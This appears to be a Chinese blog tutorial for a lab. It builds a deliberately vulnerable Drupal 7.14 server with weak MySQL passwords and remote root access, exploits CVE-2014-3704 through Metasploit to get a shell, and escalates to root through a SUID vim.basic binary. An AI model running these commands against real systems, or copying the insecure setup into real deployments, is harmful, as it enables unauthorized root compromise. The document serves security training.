【网安-Web渗透测试-Linux提权】SUID提权

目录

一、环境准备

1、所需运行条件

(1)目标主机

名称
操作系统 Ubuntu Server 16
中间件 PHP7.0 + Apache2.4.52
数据库 MySQL 5.7

(2)攻击机

名称
操作系统 Kali Linux 2023.4

2、安装依赖

Step1:更新系统

bash 复制代码
# 更新
sudo apt update

Step2:安装MySQL

bash 复制代码
$ sudo su root

$ groupadd mysql
$ useradd -r -g mysql -s /bin/false mysql

$ apt install libncurses5 -y

$ wget https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.33-linux-glibc2.12-x86_64.tar.gz
$ tar -zxvf mysql-5.7.33-linux-glibc2.12-x86_64.tar.gz -C /usr/local/
$ mv /usr/local/mysql-5.7.33-linux-glibc2.12-x86_64 /usr/local/mysql

$ echo "[client]
port=3306
socket=/tmp/mysql.sock

[mysqld]
port=3306
socket=/tmp/mysql.sock
key_buffer_size=16M
max_allowed_packet=8M

log_error                     = /usr/local/mysql/logs/error.log
log_error_verbosity           = 2
general_log                   = 0
general_log_file              = /usr/local/mysql/logs/mysql_query.log
slow_query_log                = 1
slow_query_log_file           = /usr/local/mysql/logs/mysql_slow.log
log_queries_not_using_indexes = 1
long_query_time               = 2
slow_launch_time              = 2
log-slow-admin-statements     = 1

[mysqldump]
quick" > /etc/my.cnf

$ mkdir -p /usr/local/mysql/logs
$ chown -R mysql.mysql /usr/local/mysql/logs

# 初始化MySQL,仅需执行一次,下次启动时无需此操作
$ /usr/local/mysql/bin/mysqld --initialize --user=mysql
# 仅初始化时操作,下次启动时无需操作
$ /usr/local/mysql/bin/mysql_ssl_rsa_setup
# 后台启动MySQL,重新打开时需执行此命令
$ /usr/local/mysql/bin/mysqld_safe --user=mysql &

$ echo 'export PATH=$PATH:/usr/local/mysql/bin' >> /etc/profile

$ source /etc/profile

$ ps -ef | grep mysql
# 出现如下提示,说明MySQL已成功启动
root       2038   1766  0 10:55 pts/0    00:00:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql
mysql      2282   2038  0 10:55 pts/0    00:00:00 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/logs/error.log --pid-file=basic2.pid --socket=/tmp/mysql.sock --port=3306
root       2315   1766  0 10:56 pts/0    00:00:00 grep mysql

$ cat /usr/local/mysql/logs/error.log | grep "temporary"
# 在输出的日志中,0mpK:4uSN22<表示的是登录MySQL的密码
2026-04-23T14:55:41.750159Z 1 [Note] A temporary password is generated for root@localhost: un<9iRf5.sVy

$ mysql -u root -p

# 修改root的登录密码
mysql > alter user 'root'@'localhost' identified by '123456';
mysql > use mysql;
mysql > GRANT ALL ON *.* TO root@'%' IDENTIFIED BY '123456';
mysql > flush privileges;

Step3:安装PHP依赖(含Apache)

bash 复制代码
$ sudo apt install -y php7.0 php7.0-cli php7.0-common php7.0-mysql php7.0-dom php7.0-gd php7.0-xml php7.0-mbstring php7.0-simplexml php7.0-zip php7.0-curl

开启开机自启

bash 复制代码
$ sudo systemctl enable apache2

Step4:安装GCC

bash 复制代码
$ sudo apt install gcc

3、部署drupal-7.14

Step1:部署项目

bash 复制代码
# 下载项目的TAR包
$ wget https://ftp.drupal.org/files/projects/drupal-7.14.tar.gz
# 将下载好的drupal的TAR包解压至apache的web部署目录
$ sudo tar -zxvf drupal-7.14.tar.gz -C /var/www/html
$ sudo mv /var/www/html/drupal-7.14 /var/www/html/drupal
# 修改权限,使apache拥有drupal的权限
$ sudo chown -R www-data:www-data /var/www/html/drupal

# 编辑 PHP 配置文件
$ sudo nano /etc/php/7.0/apache2/php.ini
mbstring.http_input = pass
mbstring.http_output = pass

Step2:新建数据库

bash 复制代码
$ mysql -u root -p
-- 创建数据库(使用utf8mb4字符集,支持更全的Unicode)
mysql > CREATE DATABASE drupal CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

-- 创建用户并设置密码(将'123456!'替换为强密码)
mysql > CREATE USER 'drupal'@'localhost' IDENTIFIED BY '123456!';

-- 授予用户对drupal数据库的所有权限
mysql > GRANT ALL PRIVILEGES ON drupal.* TO 'drupal'@'localhost';

-- 刷新权限使更改生效
mysql > FLUSH PRIVILEGES;

-- 退出MySQL
mysql > EXIT;

Step3:配置数据库,填写信息

访问安装地址:

bash 复制代码
http://192.168.179.131/drupal/install.php


内容填写如下:

数据库名(Database name):drupal

数据集用户名(Database username):root

数据库密码(Database password):123456

数据库地址(Database host):127.0.0.1

数据库端口(Database port):3306

Step4:填写邮箱、昵称等信息,此处随便填后,服务即可运行

说明: 如果出现页面错误,无需担心,本文主要的最终目的是Linux提权,只要Drupal项目能正常运行即可。

二、CVE-2014-3704(Drupalgeddon漏洞)

1、漏洞信息

详情信息:

名称
漏洞类型 SQL注入(无需身份验证)
影响版本 Drupal 7.0 至 7.31(即低于 7.32 的所有 7.x 版本)
漏洞根源 Drupal 7.x 数据库抽象 API 中的 expandArguments函数未能正确构造预编译语句,导致攻击者可通过精心构造的 HTTP 参数键名(key)实施注入。
CVSS 评分 10.0(满分,严重级别)

在MSF中的搜索名称:

bash 复制代码
msf6 > use exploit/multi/http/drupal_drupageddon

2、展开攻击

bash 复制代码
$ msfconsole
msf6 > search drupageddon
Matching Modules
================
   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/multi/http/drupal_drupageddon  2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/drupal_drupageddon

msf6 > use 0
msf6 > set rhost 192.168.179.131
msf6 > set rport 80
# 如果是放入/var/www/html的根目录而非/var/www/html/drupal/则无需设此变量
msf6 > set targeturi /drupal/
msf6 > show options
msf6 > run
meterpreter > shell

运行效果图:

三、利用SUID提权

Step1:查找可利用SUID/SGID可执行文件

bash 复制代码
$ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

Step2:选择/usr/bin/vim.basic进行提权

bash 复制代码
# 关键的提权命令
$ /usr/bin/vim.basic -c ':python3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-p")'

# 输入shell进入命令行;使用python命令进入交互式模式
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

说明:Ubuntu server 18及之后的版本,想要通过SUID方式提权将变得更加困难,或无法操作!

相关推荐
tedcloud12316 小时前
UI-TARS-desktop部署教程:构建AI桌面自动化系统
服务器·前端·人工智能·ui·自动化·github
UXbot19 小时前
AI原型设计工具如何支持团队协作与快速迭代
前端·交互·个人开发·ai编程·原型模式
夏日听雨眠20 小时前
LInux(逻辑地址与物理地址的区别,文件描述符,lseek函数)
linux·运维·网络
ZC跨境爬虫20 小时前
跟着MDN学HTML_day_48:(Node接口)
前端·javascript·ui·html·音视频
qq_5425154121 小时前
Ubuntu 22.04.4 LTS安装ToDesk最新版打不开,无响应?旧版本4.7.2_277版本分享
linux·ubuntu·todesk
火车叼位21 小时前
替代 Tiny Win10 的 Linux 方案:Debian XFCE 精简桌面搭建
linux·运维
PieroPc21 小时前
CAMWATCH — 局域网摄像头监控系统 Fastapi + html
前端·python·html·fastapi·监控
小麦嵌入式1 天前
FPGA入门(四):时序逻辑计数器原理与 LED 闪烁实现
linux·驱动开发·stm32·嵌入式硬件·fpga开发·硬件工程·dsp开发
巴巴博一1 天前
2026 最新:Trae / Cursor 一键接入 taste-skill 完整教程(让 AI 前端告别“AI 味”)
前端·ai·ai编程
皮卡蛋炒饭.1 天前
传输层协议UDP
linux·网络协议·udp